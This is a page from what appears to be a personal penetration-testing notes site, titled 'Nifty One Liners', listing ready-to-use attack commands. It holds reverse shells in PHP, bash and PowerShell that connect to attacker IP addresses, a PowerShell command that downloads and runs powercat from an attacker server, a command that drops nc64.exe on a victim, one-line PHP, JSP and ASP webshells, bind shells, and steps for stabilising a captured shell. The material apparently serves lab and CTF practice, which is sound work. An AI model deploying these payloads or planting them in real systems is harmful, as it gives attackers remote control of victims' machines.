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Cyber Security Notes
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    • CVE-2022-33106
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  • Enumeration and Initial Compromise
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      • Wordpress Exploitation
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      • Insecure C functions
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      • Linking - GOT,PLT
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    • Active Directory - Basics
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      • Kerberos
      • Attacking Kerberos
      • Priv Esc (Post Exploitation)
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  • Post Exploitation
    • Shell Escape Techniques
    • Getting stable shell after compromise
    • Linux Privilege Escalation
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      • Sudoers entry - Yum
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      • Wildcards - Chown
      • Wildcards - Tar
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      • SUID - man
      • NFS no_root_squash
      • SUID - pkexec
      • Bad permissions
    • Windows Privilege Escalation
      • SeImpersonatePrivilege Token Impersonation
      • Firefox Creds
      • Potatoes
      • Print Spooler Basics
      • Print Spooler CVE 2020-1030
      • SpoolFool
    • Data Exfiltration Post Exploitation
  • Port Forwarding Cheatsheet
  • Powershell Essentials
    • Powershell Basics
    • Powershell Enumeration
    • Powershell Port Scanner
    • Powershell One Liner Port Scanning
    • Powershell Port Scan in a given CIDR
  • Application Security
    • System Calls in Linux
    • Buffer Overflow Defenses
    • Format string vulnerabilities
    • Sample Github Actions
    • Basic Bugs in Demo Application
    • Using AFL++
  • Linux 64-bit Assembly
    • GDB Basics
      • My relevant GDB cheatsheet
      • Task 1 - Tamper strcmp logic
      • Breakpoints
      • Always starting with intel flavor
      • GDB TUI Mode
    • Basic Hello World Program
    • Registers in 64-bit
    • global directive
    • Reducing instructions and Removing NULL-> Optimizing memory in Assembly
    • Data Types
    • Endianness
    • Moving Data
    • push, pop, and the stack
    • Analysis - Writing data on memory location and referencing
    • Arithmetic Operations
    • Bitwise Logical Operations
    • Bit-Shifting Operations
    • Control Instructions
    • Loops
    • Procedures
    • Stack-Frames and Procedures
    • String Operations
    • Shellcoding basics
      • Introduction and Common Rules
      • Basic Shellcodes->Exit
      • Testing shellcode->Skeleton Code
      • Techniques-> JMP,CALL,POP
      • Techniques-> Stack
      • Techniques-> (64-bit only) RIP Relative Addressing
      • Shellcode 1 -> execve(/bin/sh) STACK PUSH
      • Shellcode 1 -> execve(/bin/sh) JMP CALL POP
      • Techniques-> XOR-Encoder
  • Cloud Security
    • Foundational Technology
    • Learning Through Project Omega
    • IAM Essentials
      • Deep dive into IAM - Part 1
    • Amazon S3
    • Risk Management & Data Controls
    • Enumeration
      • S3 - Enum Basics - PwnedLabs
      • S3 - Identify the AWS Account ID from a Public S3 Bucket
      • EBS - Loot Public EBS Volumes
      • S3- Exploit Weak Bucket Policies for Privileged Access
  • API Security
    • WSDL
  • Reverse Engineering
    • Some string Operations
    • Numbers and Inputs
    • Address inputs
    • Recursive Function
    • Crackme: level1
    • Crackme: level2
    • CTF: Memory Dereferencing
    • CTF: Monty Python
  • CTF Challenge Learnings
    • vsCTF 2024
      • Sanity Check
      • not-quite-caesar
      • Intro to reversing
    • NCL Individual 2024
      • Web Challenges
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        • Pierre's Store
    • Pico CTF 2024
      • Web Exploitation
        • Bookmarklet
        • WebDecode
        • Unminify
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      • General Skills
        • Commitment Issues
        • Time Machine
        • Blame Game
        • Collaborative Development
        • Binary Search
        • Dont-you-love-banners
    • Sunshine CTF
      • Knowledge Repository
    • Amazon WiCys CTF
      • I am Lazy
      • Password Locker on the Web
      • Happy Birthday Card Generator
      • Bloggergate
      • simple offer
      • Bad Actor
      • Secret Server
      • Simple PCAP
      • Hidden Message
    • C code using getenv()
    • Command Injection with filter
    • Pwning
      • Shoddy_CMP
      • PLT_PlayIT
  • Applied Cryptography
    • Linear Congruential Generator
  • Tools for everything
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On this page
  • Webshells
  • Bind shells
  • Reverse Shell
  • Upgrading Shells
  • Backgrounding and upgrading our shell

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  1. Enumeration and Initial Compromise

Nifty One Liners

PreviousIPMINextBrute-Force Web Pages

Last updated 2 months ago

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PHP Reverse netcat

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

Reverse Bash

bash -i >& /dev/tcp/10.x.x.x/443 0>&1

Where 443 is the port

Reverse Powershell (interactive powershell)

powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('IP',4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"

Reverse cmd using Powershell (powercat)

Download and start python3 -m http.server in the same directory (Kali IP 192.168.1.109). Next start a NC listener on port 4444 and run this command on the victim:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 4444 -e cmd"

Download file at Victim using PowerShell

Here, 10.10.16.3 is Kali IP (attacker) and -outf specifies the directory where to store file.

powershell -c iwr http://10.10.16.3/nc64.exe -outf \Users\Administrator\Desktop\nc64.exe

Webshells

Code: php

<?php system($_REQUEST["cmd"]); ?>

Code: jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Code: asp

<% eval request("cmd") %>

Bind shells

Bash bind shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

Python bind shell

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

Powershell bind shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Reverse Shell

Bash reverse shell

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Powershell reverse shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Upgrading Shells

python -c 'import pty; pty.spawn("/bin/bash")'

Backgrounding and upgrading our shell

After we run this command, we will hit ctrl+z to background our shell and get back on our local terminal, and input the following stty command:

www-data@remotehost$ ^Z

harshitp0tter@htb[/htb]$ stty raw -echo
harshitp0tter@htb[/htb]$ fg

[Enter]
[Enter]
www-data@remotehost$

Once we hit fg, it will bring back our netcat shell to the foreground. At this point, the terminal will show a blank line. We can hit enter again to get back to our shell or input reset and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.

We may notice that our shell does not cover the entire terminal. To fix this, we need to figure out a few variables. We can open another terminal window on our system, maximize the windows or use any size we want, and then input the following commands to get our variables:

$ echo $TERM

sample output: xterm-256color
$ stty size

sample output: 67 318

The first command showed us the TERM variable, and the second shows us the values for rows and columns, respectively. Now that we have our variables, we can go back to our netcat shell and use the following command to correct them:

$ export TERM=xterm-256color

$ stty rows 67 columns 318

Once we do that, we should have a netcat shell that uses the terminal's full features, just like an SSH connection.

powercat.ps1